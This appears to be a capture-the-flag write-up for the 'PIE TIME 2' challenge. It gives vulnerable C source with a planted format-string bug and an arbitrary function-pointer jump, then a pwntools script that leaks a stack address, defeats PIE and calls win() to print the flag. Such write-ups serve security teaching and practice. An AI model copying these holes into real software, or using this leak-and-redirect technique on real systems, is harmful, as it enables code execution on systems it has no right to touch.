PIE TIME 2

#ret2win

Contents

Source

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

void call_functions() {
  char buffer[64];
  printf("Enter your name:");
  fgets(buffer, 64, stdin);
  printf(buffer);

  unsigned long val;
  printf(" enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  call_functions();
  return 0;
}

Solution

#!/usr/bin/env python3

from pwn import *

elf = ELF("./vuln_patched")

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""

def conn():
    if args.REMOTE:
        r = remote("rescued-float.picoctf.net", 61919)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


def main():
    r = conn()

    # leak the return address
    r.sendlineafter(b'Enter your name:', b'%19$p|')
    leak = int(r.recvuntil(b'|',drop=True).decode("ascii"), 16)

    # calculate the base address
    elf.address = leak - (elf.sym["main"] + 65)

    payload = hex(elf.sym["win"])

    r.sendlineafter(b' enter the address to jump to, ex => 0x12345: ', payload)

    r.recvuntil(b'You won!\n')

    flag = r.recvuntil(b'\n', drop=True).decode("ascii")

    print()
    print(flag)
    print()


if __name__ == "__main__":
    main()